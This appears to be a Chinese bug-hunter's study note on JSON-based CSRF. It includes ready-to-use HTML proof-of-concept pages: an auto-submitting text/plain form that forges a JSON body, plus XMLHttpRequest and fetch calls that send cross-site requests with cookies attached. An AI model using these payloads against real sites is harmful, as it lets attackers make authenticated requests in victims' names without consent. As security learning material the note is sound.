您的位置:首页 > Web前端 > JavaScript

碰到 Json_CSRF 怎么办?

2020-07-20 15:37 85 查看

前言

在最近挖洞的时候,老是碰到 POST 传参采用 JSON 格式,而不是传统的

parameter=value
的格式,之前也没接触过,所以也不知道该怎么搞,所以打算学习一下,此文作为一个笔记梳理。

前提知识

一般采用

Json
格式传输参数时,请求包中都有
Content-Type
头,一般服务器也会验证
Content-Type
值是否为
application/json
,当服务器验证
Content-Type
时,若不符合要求,则会抛出异常,导致传输的数据失效

当简单的采用表单传输简单参数时,

Content-Type
值为:
x-www-form-urlencoded
,传输的数据会被 URL 编码,传输文件时值为:
form-data
给表单添加
enctype="text/plain"
属性时,
Content-type
值为:
text/plain

在使用

XMLHttpRequest
跨域发起请求时,浏览器首先会先进行一次
OPTIONS
预请求,查看目标网站是否支持跨域,如果支持,则浏览器会进行下一步,发送真实请求,否则会直接报错

突破限制的方法

下面统一假设 POST 传输的参数为:

{"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20"}

服务端不验证
Content-Type
的情况

  • 特殊的表单,即构造一个键值对
<!DOCTYPE html>
<html>
<head>
<title>Json_CSRF</title>
<meta charset="utf-8">
</head>
<body>
<form id="test" enctype="text/plain" action="http://baidu.com" method="post">
<input name='{"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20","test":"' value='test"}'>
</form>
<script type="text/javascript">
document.getElementById("test").submit();
</script>
</body>
</html>

可以看到请求包中:

传输的数据变成了:

{"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20","test":"=test"}
且请求头中:
Content-Type: text/plain
,当服务器后端严格校验
Content-Type
头时,该方法也就差不多没用了

  • 利用 JS 中的
    XMLHttpRequest
    ,即 XHR,该方法要求目标网站支持跨域
<!DOCTYPE html>
<html>
<head>
<title>Json_CSRF</title>
<meta charset="utf-8">
</head>
<body>
<script type="text/javascript">
function csrf(){
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST","https://baidu.com",true);
xmlhttp.setRequestHeader("Content-Type","application/json;charset=UTF-8");
xmlhttp.withCredentials = true;
xmlhttp.send(JSON.stringify({"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20"}));;
}
csrf();
</script>
</body>
</html>

首先,浏览器会发起一个

OPTION
请求,查询目标网站是否支持跨域 如果目标响应包中有
Access-Control-Allow-Credentials: true
代表允许携带
cookie
, 有
Access-Control-Allow-Origin:http://mysite.com
或者为
Access-Control-Allow-Origin:*
,即代表支持跨域 浏览器便会携带
cookie
发起真实请求 注意:实际上百度并不支持跨域,此处只是为了方便演示

当目标网站不支持跨域,则浏览器将不会发起请求,导致该方法失效

当然,除了

XMLHttpRequest
fetch
也是一样的

<script>
function csrf(){
fetch('https://baidu.com';, {method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json;charset=UTF-8'}, body: '{"title":"Json_CSRF","content":"xxxxxxx","time":"2020-07-20"}'});
}
csrf();
</script>

服务端验证
Content-Type
的情况

  • XHR 跟上面一样,也是利用
    XMLHttpRequest
  • flash

可惜,现在是个浏览器都会询问用户是否开启 flash,此举难以成功,而且不久,flash 就会被废弃

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: